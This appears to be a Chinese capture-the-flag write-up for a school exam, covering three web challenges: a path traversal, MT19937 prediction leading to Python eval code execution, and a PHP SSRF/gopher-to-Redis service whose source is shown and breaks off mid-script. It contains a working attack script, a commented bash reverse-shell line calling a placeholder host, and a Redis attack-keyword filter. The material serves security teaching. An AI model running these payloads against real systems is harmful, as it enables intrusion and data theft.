yx秋季26期中考

Web

后台管理系统

dirsearch扫一下

访问/swagger-ui

这里是一个查询文件系统

path和file

是路径和文件

BP抓包改包

这里用.../.../就可以了初始在/app/includes文件夹下

guess

前置知识

梅森旋转算法(MT19937)

大佬的文:https://huangx607087.online/2021/07/10/Explore-MT19937/#toc-heading-5

生成代码:

python 复制代码
def _int32(x):
    return int(0xFFFFFFFF & x)

class MT19937:
    def __init__(self, seed):
        self.mt = [0] * 624
        self.mt[0] = seed
        self.mti = 0
        for i in range(1, 624):
            self.mt[i] = _int32(1812433253 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i)


    def extract_number(self):
        if self.mti == 0:
            self.twist()
        y = self.mt[self.mti]
        y = y ^ y >> 11
        y = y ^ y << 7 & 2636928640
        y = y ^ y << 15 & 4022730752
        y = y ^ y >> 18
        self.mti = (self.mti + 1) % 624
        return _int32(y)


    def twist(self):
        for i in range(0, 624):
            y = _int32((self.mt[i] & 0x80000000) + (self.mt[(i + 1) % 624] & 0x7fffffff))
            self.mt[i] = (y >> 1) ^ self.mt[(i + 397) % 624]

            if y % 2 != 0:
                self.mt[i] = self.mt[i] ^ 0x9908b0df

生成逻辑:

  1. 初始密码
    根据种子生成MT数组中的1-624个数据(每个取0-31位)
  2. Twist(当机器把624个数据都展示了一遍后,不能直接从头再展示(那样就循环了),必须做一次Twist)
    循环取第i的31位和第i的0-30位拼接,算出拼接后且右移的数,如果拼出来的数是奇数,拼接后且右移的数据就和一个"魔法常数"(0x9908b0df)异或,如果拼出来的数是偶数,则没有此过程,最后i位置的数据被赋值为 i+397 位置的数据与拼接后且右移且经过if处理的数据异或,得到位置 i 的新数据
  3. Tempering(纯混淆的玩意)
    步骤1:右移11位,和原值异或(把高位信息混入低位)
    步骤2:左移7位,和掩码0x9d2c5680(低7位都是0)异或(把低位信息混入中位)
    步骤3:左移15位,和掩码0xefc60000(低15位都是0)异或(把低位信息混入高位)
    步骤4:右移18位,和原值异或(最后整体搅拌)
    最后输出混淆后的值

  1. 为什么最低位被挤出去时,要触发 ^= 0x9908b0df?
    如果 b0 == 0:移出去的是"废物",不用补偿,xA 保持原样。
    如果 b0 == 1:移出去的是"重要信息",必须通过异或 0x9908b0df 把这部分信息以扭曲的方式重新注入到剩余的高位中。
  2. 为什么选这个数0x9908b0df?
    它的位模式经过严格数学验证,确保:
    周期达到梅森素数 2¹⁹⁹³⁷−1(不是 2³² 那种短周期)
    状态遍历所有 2¹⁹⁹³⁷−1 种非零状态(不会提前陷入循环)
    输出通过严格的随机性统计检验(均匀分布、无相关性)

逆向脚本:

python 复制代码
def setstate(self,s):
    if(len(s)!=624):
        raise ValueError("The length of prediction must be 624!")
    for i in range(624):
        self.mt[i]=self.recover(s[i])
    self.mti=0
def predict(self,s):
    self.setstate(s)
    self.twist()
    return self.getstate(True)

逆向逻辑:

  1. Tempering逆向回去得到Twist后的结果
  2. 得出一轮(624个)Twist后的结果
  3. 就可以预测下一轮的Twist后结果

python的RCE(仅eval)

解题

python 复制代码
from flask import Flask, request, jsonify, session, render_template, redirect
import random

rd = random.Random()

def generate_random_string():
    return str(rd.getrandbits(32))

app = Flask(__name__)
app.secret_key = generate_random_string()

users = []

a = generate_random_string()

@app.route('/register', methods=['POST', 'GET'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    
    if not username or not password:
        return jsonify({'error': 'Username and password are required'}), 400
    
    if any(user['username'] == username for user in users):
        return jsonify({'error': 'Username already exists'}), 400
    
    user_id = generate_random_string()
    
    users.append({
        'user_id': user_id,
        'username': username,
        'password': password
    })
    
    return jsonify({
        'message': 'User registered successfully',
        'user_id': user_id
    }), 201



@app.route('/login', methods=['POST', 'GET'])
def login():

    if request.method == 'GET':
        return render_template('login.html')

    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    
    if not username or not password:
        return jsonify({'error': 'Username and password are required'}), 400
    
    user = next((user for user in users if user['username'] == username and user['password'] == password), None)
    
    if not user:
        return jsonify({'error': 'Invalid credentials'}), 401
    
    session['user_id'] = user['user_id']
    session['username'] = user['username']
    
    return jsonify({
        'message': 'Login successful',
        'user_id': user['user_id']
    }), 200

@app.post('/api')
def protected_api():

    data = request.get_json()

    key1 = data.get('key')
    
    if not key1:
        return jsonify({'error': 'key are required'}), 400

    key2 = generate_random_string()
    
    if not str(key1) == str(key2):
        return jsonify({
            'message': 'Not Allowed:' + str(key2) ,
        }), 403
    

    payload = data.get('payload')

    if payload:
        eval(payload, {'__builtin__':{}})
    
    return jsonify({
        'message': 'Access granted',
    })


@app.route('/')
def index():
    if 'user_id' not in session:
        return redirect('/login')
    
    return render_template('index.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5001)

重点代码:

python 复制代码
def generate_random_string():
    return str(rd.getrandbits(32))

app = Flask(__name__)
app.secret_key = generate_random_string()

users = []

a = generate_random_string()
@app.post('/api')
def protected_api():

    data = request.get_json()

    key1 = data.get('key')
    
    if not key1:
        return jsonify({'error': 'key are required'}), 400

    key2 = generate_random_string()
    
    if not str(key1) == str(key2):
        return jsonify({
            'message': 'Not Allowed:' + str(key2) ,
        }), 403
    

    payload = data.get('payload')

    if payload:
        eval(payload, {'__builtin__':{}})
    
    return jsonify({
        'message': 'Access granted',
    })

攻击脚本:

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
MT19937 状态恢复 + Key 预测 + Eval RCE 攻击脚本
依赖:pip install randcrack requests
"""

import requests
import sys
from randcrack import RandCrack

# ==================== 配置区 ====================
TARGET = "http://172.16.17.201:50162/api"  # 修改为你的靶机地址
SAMPLES_NEEDED = 624  # MT19937 状态字数量


# ===============================================

def collect_samples(n: int = SAMPLES_NEEDED) -> list:
    """发送错误 Key,从 403 响应中收集服务端泄露的随机数"""
    samples = []
    print(f"[*] 开始收集 {n} 个 32 位随机数样本...")

    for i in range(n):
        try:
            resp = requests.post(
                TARGET,
                json={"key": "0"},  # 故意给错 key
                timeout=10
            )
            data = resp.json()
            msg = data.get("message", "")

            # 解析 "Not Allowed: 12345678"
            if "Not Allowed:" not in msg:
                print(f"[!] 响应异常: {msg}")
                continue

            val = int(msg.split(":")[1].strip())
            samples.append(val)

            if (i + 1) % 50 == 0 or i == n - 1:
                print(f"    [+] 已收集 {i + 1}/{n} 个样本,当前值: {val}")

        except Exception as e:
            print(f"[!] 请求异常: {e}")
            sys.exit(1)

    return samples


def build_payload() -> str:
    """
    构造 eval 绕过 payload。
    限制: {'__builtin__':{}} ------ 通过类继承链查找 os._wrap_close 获取真实 builtins
    """
    # 按类名查找 os._wrap_close,避免不同 Python 版本索引不同
    # 执行命令: id(验证成功后可换反弹 shell)
    payload = "__import__('os').system('mkdir -p static && cat /flag > /static/flag.txt')"

    # payload = (
    #     "[c for c in ().__class__.__bases__[0].__subclasses__() "
    #     "if c.__name__ == '_wrap_close'][0].__init__."
    #     "__globals__['system']('ls')"
    # )

    #测试
    #__globals__['system']('id')
    # 如需读 flag,换成:
    # ".__globals__['open']('/flag').read()"
    # 如需反弹 shell:
    # ".__globals__['system']('bash -c \"bash -i >& /dev/tcp/你的IP/端口 0>&1\"')"
    return payload


def attack():
    # 1. 收集 624 个样本
    samples = collect_samples(SAMPLES_NEEDED)

    # 2. 恢复 MT19937 状态
    print("[*] 正在恢复 MT19937 内部状态...")
    rc = RandCrack()
    for val in samples:
        rc.submit(val)

    # 3. 预测服务端下一次生成的 key
    next_key = rc.predict_getrandbits(32)
    print(f"[+] 预测到下一个 Key: {next_key}")

    # 4. 发送攻击请求(正确 Key + RCE Payload)
    payload = build_payload()
    print(f"[*] 发送攻击请求,Payload: {payload[:60]}...")

    resp = requests.post(
        TARGET,
        json={
            "key": str(next_key),
            "payload": payload
        },
        timeout=10
    )

    print(f"[*] 状态码: {resp.status_code}")
    print(f"[*] 响应内容: {resp.text}")


if __name__ == "__main__":
    attack()

payload的解释:__import__('os').system('mkdir -p static && cat /flag > /static/flag.txt')

eval() 在 Python 中只能执行表达式(expression),不能执行语句(statement)。

python 复制代码
eval("import os")        # SyntaxError: invalid syntax
eval("__import__('os')") # 成功,因为 __import__() 是函数调用,属于表达式

使用 __import__('os') 来动态导入模块

代码运行在 Python 3 环境下,但写的是 builtin (Python 2 的写法)。Python 3 的 eval 遇到globals字典里面没有
__builtin__ 键时,python会自动注入真正的builtins模块。因此eval实际拥有所有内置函数(open,import,exec等),攻击者可以执行任意代码

Python 2 Python 3
内置模块名(import 用的) __builtin__ builtins
eval 查找内置函数的键 __builtins__ __builtins__

Flask 默认会映射 /static/path:filename 提供静态文件服务

所以保存路径在/static/flag.txt

hjppx

逃课做法: (flag文件名未经过特殊处理)


正经做法:

php 复制代码
<?php
error_reporting(0);
session_start();

// 初始化用户会话
if (!isset($_SESSION['user'])) {
    $_SESSION['user'] = array(
        'username' => 'admin',
        'role' => 'System Administrator',
        'login_time' => date('Y-m-d H:i:s')
    );
}

if (!isset($_SESSION['stats'])) {
    $_SESSION['stats'] = array(
        'total_requests' => 0,
        'successful_requests' => 0,
        'failed_requests' => 0
    );
}

if (!isset($_SESSION['history'])) {
    $_SESSION['history'] = array();
}

class Handler {
    private $timeout = 30;

    public function fetch($url) {
        if (empty($url)) {
            return array('success' => false, 'error' => 'Invalid');
        }
        if (strlen($url) > 4500) {
            return array('success' => false, 'error' => 'Too long');
        }

        // 处理 gopher 协议的特殊情况
        if (preg_match('#^gopher://([^:]+):(\d+)/_(.*)$#i', $url, $matches)) {
            $host = $matches[1];
            $port = $matches[2];
            $payload = $matches[3];
            // URL 解码 payload
            $payload = urldecode($payload);
            if (preg_match("/MODULE|\.so|SLAVEOF|dbfilename/im", $payload)) {
                exit(0);
            }
            return $this->gopherFetch($host, $port, $payload);
        }

        if (!preg_match('#^[a-z]+://#i', $url)) {
            $url = 'http://' . $url;
        }

        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 8);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
        
        $response = curl_exec($ch);
        $error = curl_error($ch);
        $info = curl_getinfo($ch);
        curl_close($ch);

        if ($error) {
            return array('success' => false, 'error' => $error);
        }
        if ($response === false) {
            return array('success' => false, 'error' => 'Failed');
        }

        $content_type = isset($info['content_type']) ? $info['content_type'] : 'text/plain';
        $encoded_content = base64_encode($response);
        
        return array(
            'success' => true,
            'content' => $encoded_content,
            'is_binary' => true,
            'type' => $content_type,
            'size' => strlen($response),
            'code' => $info['http_code'],
            'url' => $url,
            'time' => round($info['total_time'], 3)
        );
    }

    private function gopherFetch($host, $port, $payload) {
        $startTime = microtime(true);
        $socket = @fsockopen($host, $port, $errno, $errstr, 5);
        if (!$socket) {
            return array('success' => false, 'error' => 'Socket error: ' . $errstr);
        }
        stream_set_timeout($socket, 2);
        fwrite($socket, $payload);
        fflush($socket);
        
        $response = '';
        $maxAttempts = 50;
        $attempts = 0;
        
        while ($attempts < $maxAttempts) {
            $chunk = fread($socket, 4096);
            if ($chunk === false || $chunk === '') {
                $info = stream_get_meta_data($socket);
                if ($info['timed_out']) {
                    break;
                }
                $attempts++;
                usleep(20000);
                continue;
            }
            $response .= $chunk;
            $attempts = 0;
            
            if (preg_match('/^\+[^\r\n]*\r\n$/', $response)) break;
            if (preg_match('/^-[^\r\n]*\r\n$/', $response)) break;
            if (preg_match('/^:[^\r\n]*\r\n$/', $response)) break;
            
            if (preg_match('/^\$(-?\d+)\r\n/s', $response, $matches)) {
                $len = intval($matches[1]);
                if ($len === -1) {
                    if (strlen($response) >= 5) break;
                } else {
                    $expectedLen = strlen('$' . $len . "\r\n") + $len + 2;
                    if (strlen($response) >= $expectedLen) break;
                }
            }
        }
        
        fclose($socket);
        $elapsed = microtime(true) - $startTime;
        
        if (empty($response)) {
            return array('success' => false, 'error' => 'No response');
        }
        
        $encoded_content = base64_encode($response);
        return array(
            'success' => true,
            'content' => $encoded_content,
            'is_binary' => true,
            'type' => 'application/octet-stream',
            'size' => strlen($response),
            'code' => 200,
            'url' => 'gopher://' . $host . ':' . $port,
            'time' => round($elapsed, 3),
            'raw' => $response
        );
    }

    public function redisSet($url, $key, $data) {
        if (empty($url) || empty($key)) {
            return array('success' => false, 'error' => 'Invalid params');
        }
        if (preg_match('#^gopher://([^:]+):(\d+)#i', $url, $matches)) {
            $host = $matches[1];
            $port = $matches[2];
            $resp = "*3\r\n";
            $resp .= "\$3\r\nSET\r\n";
            $resp .= "\$" . strlen($key) . "\r\n" . $key . "\r\n";
            $resp .= "\$" . strlen($data) . "\r\n" . $data . "\r\n";
            
            $result = $this->gopherFetch($host, $port, $resp);
            if ($result['success']) {
                $raw_response = @base64_decode($result['content']);
                if (strpos($raw_response, '+OK') !== false) {
                    return array(
                        'success' => true,
                        'message' => 'SET command executed successfully',
                        'key' => $key,
                        'data_size' => strlen($data),
                        'response' => $result['content'],
                        'time' => $result['time']
                    );
                }
            }
            return $result;
        }
        return array('success' => false, 'error' => 'Invalid URL format');
    }

    public function preview($url) {
        $result = $this->fetch($url);
        if (!$result['success']) {
            return $result;
        }
        $content = base64_decode($result['content']);
        $type = $result['type'];
        
        if (strpos($type, 'image') !== false) {
            return array(
                'success' => true,
                'type' => 'image',
                'data' => $result['content'],
                'mime' => $type
            );
        } elseif (strpos($type, 'html') !== false || strpos($type, 'text') !== false) {
            $preview = substr($content, 0, 500);
            return array(
                'success' => true,
                'type' => 'text',
                'preview' => htmlspecialchars($preview),
                'length' => strlen($content)
            );
        } else {
            return array(
                'success' => true,
                'type' => 'other',
                'size' => strlen($content),
                'mime' => $type,
                'data' => $result['content']
            );
        }
    }
}

function handle($action, $params) {
    $h = new Handler();
    $_SESSION['stats']['total_requests']++;
    
    switch ($action) {
        case 'preview':
            $url = isset($params['url']) ? $params['url'] : '';
            $result = $h->preview($url);
            break;
        case 'fetch':
            $url = isset($params['url']) ? $params['url'] : '';
            if (isset($params['key']) && isset($params['data'])) {
                $key = $params['key'];
                $data = base64_decode($params['data']);
                $result = $h->redisSet($url, $key, $data);
            } else {
                $result = $h->fetch($url);
            }
            break;
        case 'stats':
            $result = array('success' => true, 'stats' => $_SESSION['stats']);
            break;
        case 'history':
            $result = array('success' => true, 'history' => array_reverse($_SESSION['history']));
            break;
        case 'clear_history':
            $_SESSION['history'] = array();
            $result = array('success' => true, 'message' => 'History cleared');
            break;
        default:
            $result = array('success' => false, 'error' => 'Unknown');
    }

    if ($result['success']) {
        $_SESSION['stats']['successful_requests']++;
    } else {
        $_SESSION['stats']['failed_requests']++;
    }

    if (isset($params['url']) && !in_array($action, ['stats', 'history'])) {
        array_push($_SESSION['history'], array(
            'url' => $params['url'],
            'time' => date('Y-m-d H:i:s'),
            'status' => $result['success'] ? 'Success' : 'Failed'
        ));
        if (count($_SESSION['history']) > 50) {
            array_shift($_SESSION['history']);
        }
    }
    return $result;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    header('Content-Type: application/json');
    $action = isset($_POST['action']) ? $_POST['action'] : '';
    exit(json_encode(handle($action, $_POST)));
}

if (isset($_GET['action'])) {
    header('Content-Type: application/json');
    $action = isset($_GET['action']) ? $_GET['action'] : '';
    exit(json_encode(handle($action, $_GET)));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Resource Fetch Management System</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif; background: #f5f7fa; color: #333; }
        .navbar { background: linear-gradient(135deg, #2c3e50 0%, #34495e 100%); color: white; padding: 0; box-shadow: 0 2px 10px rgba(0,0,0,0.1); position: sticky; top: 0; z-index: 1000; }
        .navbar-content { max-width: 1400px; margin: 0 auto; display: flex; justify-content: space-between; align-items: center; padding: 15px 30px; }
        .navbar-brand { font-size: 20px; font-weight: 600; display: flex; align-items: center; gap: 10px; }
        .logo { width: 32px; height: 32px; background: white; border-radius: 6px; display: flex; align-items: center; justify-content: center; font-weight: bold; color: #2c3e50; }
        .navbar-user { display: flex; align-items: center; gap: 15px; font-size: 14px; }
        .user-badge { background: rgba(255,255,255,0.2); padding: 6px 12px; border-radius: 4px; }
        .container { max-width: 1400px; margin: 30px auto; padding: 0 30px; }
        .main-grid { display: grid; grid-template-columns: 250px 1fr; gap: 30px; margin-top: 30px; }
        .sidebar { background: white; border-radius: 8px; padding: 20px; box-shadow: 0 2px 8px rgba(0,0,0,0.05); height: fit-content; position: sticky; top: 90px; }
        .sidebar-title { font-size: 12px; text-transform: uppercase; color: #999; font-weight: 600; margin-bottom: 15px; letter-spacing: 0.5px; }
        .nav-item { padding: 12px 15px; margin-bottom: 5px; border-radius: 6px; cursor: pointer; transition: all 0.3s; display: flex; align-items: center; gap: 10px; color: #555; }
        .nav-item:hover { background: #f5f7fa; color: #2c3e50; }
        .nav-item.active { background: #2c3e50; color: white; }
        .nav-icon { width: 18px; height: 18px; display: inline-block; }
        .dashboard-cards { display: grid; grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); gap: 20px; margin-bottom: 30px; }
        .card { background: white; border-radius: 8px; padding: 25px; box-shadow: 0 2px 8px rgba(0,0,0,0.05); transition: transform 0.3s, box-shadow 0.3s; }
        .card:hover { transform: translateY(-2px); box-shadow: 0 4px 12px rgba(0,0,0,0.1); }
        .card-title { font-size: 13px; color: #999; text-transform: uppercase; margin-bottom: 10px; font-weight: 600; letter-spacing: 0.5px; }
        .card-value { font-size: 32px; font-weight: 700; color: #2c3e50; }
        .card-subtitle { font-size: 12px; color: #999; margin-top: 5px; }
        .content-section { display: none; }
        .content-section.active { display: block; }
        .panel { background: white; border-radius: 8px; padding: 30px; box-shadow: 0 2px 8px rgba(0,0,0,0.05); margin-bottom: 20px; }
        .panel-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 25px; padding-bottom: 15px; border-bottom: 2px solid #f5f7fa; }
        .panel-title { font-size: 20px; font-weight: 600; color: #2c3e50; }
        .form-group { margin-bottom: 20px; }
        .form-label { display: block; margin-bottom: 8px; font-weight: 500; color: #555; font-size: 14px; }
        .form-input { width: 100%; padding: 12px 15px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px; font-family: 'Monaco', 'Courier New', monospace; transition: border-color 0.3s; }
        .form-input:focus { outline: none; border-color: #2c3e50; }
        .button-group { display: flex; gap: 10px; margin-top: 20px; }
        .btn { padding: 12px 24px; border: none; border-radius: 6px; font-weight: 500; cursor: pointer; transition: all 0.3s; font-size: 14px; }
        .btn-primary { background: #2c3e50; color: white; }
        .btn-primary:hover { background: #1a252f; }
        .btn-secondary { background: #95a5a6; color: white; }
        .btn-secondary:hover { background: #7f8c8d; }
        .btn-danger { background: #e74c3c; color: white; }
        .btn-danger:hover { background: #c0392b; }
        .result-panel { background: #f8f9fa; border: 1px solid #e0e0e0; border-radius: 6px; padding: 20px; margin-top: 20px; display: none; max-height: 500px; overflow-y: auto; }
        .result-panel.show { display: block; }
        .result-panel.success { background: #d4edda; border-color: #c3e6cb; }
        .result-panel.error { background: #f8d7da; border-color: #f5c6cb; }
        .result-header { font-weight: 600; margin-bottom: 10px; color: #2c3e50; }
        .result-content { font-family: 'Monaco', 'Courier New', monospace; font-size: 13px; white-space: pre-wrap; word-break: break-all; line-height: 1.6; }
        .table { width: 100%; border-collapse: collapse; margin-top: 15px; }
        .table th { background: #f8f9fa; padding: 12px; text-align: left; font-weight: 600; font-size: 13px; color: #555; border-bottom: 2px solid #e0e0e0; }
        .table td { padding: 12px; border-bottom: 1px solid #f0f0f0; font-size: 13px; }
        .table tr:hover { background: #f8f9fa; }
        .badge { display: inline-block; padding: 4px 8px; border-radius: 4px; font-size: 11px; font-weight: 600; }
        .badge-success { background: #d4edda; color: #155724; }
        .badge-danger { background: #f8d7da; color: #721c24; }
        .info-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 15px; margin-top: 15px; }
        .info-item { padding: 15px; background: #f8f9fa; border-radius: 6px; }
        .info-label { font-size: 12px; color: #999; margin-bottom: 5px; }
        .info-value { font-size: 14px; font-weight: 500; color: #2c3e50; font-family: 'Monaco', 'Courier New', monospace; }
        .empty-state { text-align: center; padding: 60px 20px; color: #999; }
        .empty-state-icon { font-size: 48px; margin-bottom: 15px; opacity: 0.3; }
        .protocol-badges { display: flex; gap: 8px; margin-top: 15px; flex-wrap: wrap; }
        .protocol-badge { padding: 8px 12px; background: #e8f4f8; color: #2c3e50; border-radius: 4px; font-size: 12px; font-weight: 500; }
        .tabs { display: flex; gap: 5px; margin-bottom: 20px; border-bottom: 2px solid #f0f0f0; }
        .tab-btn { padding: 12px 20px; background: none; border: none; border-bottom: 2px solid transparent; cursor: pointer; font-weight: 500; color: #777; transition: all 0.3s; margin-bottom: -2px; }
        .tab-btn:hover { color: #2c3e50; }
        .tab-btn.active { color: #2c3e50; border-bottom-color: #2c3e50; }
    </style>
</head>
<body>
    <div class="navbar">
        <div class="navbar-content">
            <div class="navbar-brand">
                <div class="logo">RF</div>
                <span>Resource Fetch Management</span>
            </div>
            <div class="navbar-user">
                <span><?php echo htmlspecialchars($_SESSION['user']['username']); ?></span>
                <div class="user-badge"><?php echo htmlspecialchars($_SESSION['user']['role']); ?></div>
            </div>
        </div>
    </div>

    <div class="container">
        <div class="dashboard-cards">
            <div class="card">
                <div class="card-title">Total Requests</div>
                <div class="card-value" id="totalRequests"><?php echo $_SESSION['stats']['total_requests']; ?></div>
                <div class="card-subtitle">All time</div>
            </div>
            <div class="card">
                <div class="card-title">Successful</div>
                <div class="card-value" id="successRequests" style="color: #27ae60;"><?php echo $_SESSION['stats']['successful_requests']; ?></div>
                <div class="card-subtitle">Completed successfully</div>
            </div>
            <div class="card">
                <div class="card-title">Failed</div>
                <div class="card-value" id="failedRequests" style="color: #e74c3c;"><?php echo $_SESSION['stats']['failed_requests']; ?></div>
                <div class="card-subtitle">Request errors</div>
            </div>
            <div class="card">
                <div class="card-title">Success Rate</div>
                <div class="card-value" id="successRate">
                    <?php
                    $total = $_SESSION['stats']['total_requests'];
                    $rate = $total > 0 ? round(($_SESSION['stats']['successful_requests'] / $total) * 100) : 0;
                    echo $rate . '%';
                    ?>
                </div>
                <div class="card-subtitle">Performance metric</div>
            </div>
        </div>

        <div class="main-grid">
            <div class="sidebar">
                <div class="sidebar-title">Navigation</div>
                <div class="nav-item active" data-section="fetch">
                    <svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path d="M8 4a4 4 0 100 8 4 4 0 000-8zM2 8a6 6 0 1110.89 3.476l4.817 4.817a1 1 0 01-1.414 1.414l-4.816-4.816A6 6 0 012 8z"/></svg>
                    Fetch Resource
                </div>
                <div class="nav-item" data-section="advanced">
                    <svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path d="M5 3a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2V5a2 2 0 00-2-2H5zM5 11a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2v-2a2 2 0 00-2-2H5zM11 5a2 2 0 012-2h2a2 2 0 012 2v2a2 2 0 01-2 2h-2a2 2 0 01-2-2V5zM11 13a2 2 0 012-2h2a2 2 0 012 2v2a2 2 0 01-2 2h-2a2 2 0 01-2-2v-2z"/></svg>
                    Advanced Tools
                </div>
                <div class="nav-item" data-section="history">
                    <svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zm1-12a1 1 0 10-2 0v4a1 1 0 00.293.707l2.828 2.829a1 1 0 101.415-1.415L11 9.586V6z"/></svg>
                    Request History
                </div>
                <div class="nav-item" data-section="settings">
                    <svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z"/></svg>
                    System Info
                </div>
            </div>

            <div class="main-content">
                <div class="content-section active" id="fetch-section">
                    <div class="panel">
                        <div class="panel-header"><div class="panel-title">Resource Fetcher</div></div>
                        <div class="tabs">
                            <button class="tab-btn active" data-tab="quick">Quick Fetch</button>
                            <button class="tab-btn" data-tab="preview">Preview Mode</button>
                        </div>
                        <div id="quick-tab" class="tab-content" style="display: block;">
                            <div class="form-group">
                                <label class="form-label">Resource URL</label>
                                <input type="text" class="form-input" id="fetchUrl" placeholder="http://example.com/resource">
                            </div>
                            <div class="button-group">
                                <button class="btn btn-primary" onclick="doFetch()">Execute Fetch</button>
                                <button class="btn btn-secondary" onclick="clearResult('fetch')">Clear</button>
                            </div>
                            <div id="fetchResult" class="result-panel"></div>
                        </div>
                        <div id="preview-tab" class="tab-content" style="display: none;">
                            <div class="form-group">
                                <label class="form-label">Resource URL</label>
                                <input type="text" class="form-input" id="previewUrl" placeholder="http://example.com/image.png">
                            </div>
                            <div class="button-group">
                                <button class="btn btn-primary" onclick="doPreview()">Preview Resource</button>
                                <button class="btn btn-secondary" onclick="clearResult('preview')">Clear</button>
                            </div>
                            <div id="previewResult" class="result-panel"></div>
                        </div>
                    </div>
                </div>

                <div class="content-section" id="advanced-section">
                    <div class="panel">
                        <div class="panel-header"><div class="panel-title">Advanced Protocol Tools</div></div>
                        <div class="form-group">
                            <label class="form-label">Target URL</label>
                            <input type="text" class="form-input" id="advancedUrl" placeholder="url">
                        </div>
                        <div class="info-grid">
                            <div class="form-group">
                                <label class="form-label">Data Key</label>
                                <input type="text" class="form-input" id="advancedKey" placeholder="key">
                            </div>
                            <div class="form-group">
                                <label class="form-label">Value (Base64)</label>
                                <input type="text" class="form-input" id="advancedData" placeholder="dGVzdF92YWx1ZQ==">
                            </div>
                        </div>
                        <div class="button-group">
                            <button class="btn btn-primary" onclick="doAdvanced()">Execute</button>
                            <button class="btn btn-secondary" onclick="clearResult('advanced')">Clear</button>
                        </div>
                        <div id="advancedResult" class="result-panel"></div>
                    </div>
                </div>

                <div class="content-section" id="history-section">
                    <div class="panel">
                        <div class="panel-header">
                            <div class="panel-title">Request History</div>
                            <button class="btn btn-danger" onclick="clearHistory()">Clear History</button>
                        </div>
                        <div id="historyContent">
                            <?php if (count($_SESSION['history']) > 0): ?>
                            <table class="table">
                                <thead><tr><th>Time</th><th>URL</th><th>Status</th></tr></thead>
                                <tbody id="historyTable">
                                    <?php foreach(array_reverse($_SESSION['history']) as $item): ?>
                                    <tr>
                                        <td><?php echo $item['time']; ?></td>
                                        <td style="font-family: monospace; font-size: 12px;"><?php echo htmlspecialchars(substr($item['url'], 0, 80)); ?></td>
                                        <td>
                                            <span class="badge badge-<?php echo $item['status'] === 'Success' ? 'success' : 'danger'; ?>">
                                                <?php echo $item['status']; ?>
                                            </span>
                                        </td>
                                    </tr>
                                    <?php endforeach; ?>
                                </tbody>
                            </table>
                            <?php else: ?>
                            <div class="empty-state">
                                <div class="empty-state-icon">📋</div>
                                <div>No requests recorded yet</div>
                            </div>
                            <?php endif; ?>
                        </div>
                    </div>
                </div>

                <div class="content-section" id="settings-section">
                    <div class="panel">
                        <div class="panel-header"><div class="panel-title">System Information</div></div>
                        <div class="info-grid">
                            <div class="info-item"><div class="info-label">System Version</div><div class="info-value">2.0.1</div></div>
                            <div class="info-item"><div class="info-label">PHP Version</div><div class="info-value"><?php echo phpversion(); ?></div></div>
                            <div class="info-item"><div class="info-label">cURL Support</div><div class="info-value"><?php echo function_exists('curl_init') ? 'Enabled' : 'Disabled'; ?></div></div>
                            <div class="info-item"><div class="info-label">Session ID</div><div class="info-value" style="font-size: 11px;"><?php echo session_id(); ?></div></div>
                            <div class="info-item"><div class="info-label">Login Time</div><div class="info-value" style="font-size: 12px;"><?php echo $_SESSION['user']['login_time']; ?></div></div>
                            <div class="info-item"><div class="info-label">Server Time</div><div class="info-value" style="font-size: 12px;"><?php echo date('Y-m-d H:i:s'); ?></div></div>
                        </div>
                    </div>
                    <div class="panel" style="margin-top: 20px;">
                        <div class="panel-header"><div class="panel-title">Supported Protocols</div></div>
                        <div class="protocol-badges">
                            <div class="protocol-badge">HTTP</div><div class="protocol-badge">HTTPS</div><div class="protocol-badge">FTP</div><div class="protocol-badge">GOPHER</div>
                        </div>
                        <p style="margin-top: 20px; color: #777; font-size: 14px; line-height: 1.6;">
                            The system supports multiple protocols for resource fetching. Gopher protocol support is provided for legacy system compatibility.
                        </p>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <script>
        // Navigation
        document.querySelectorAll('.nav-item').forEach(item => {
            item.addEventListener('click', function() {
                document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
                this.classList.add('active');
                const section = this.dataset.section;
                document.querySelectorAll('.content-section').forEach(s => s.classList.remove('active'));
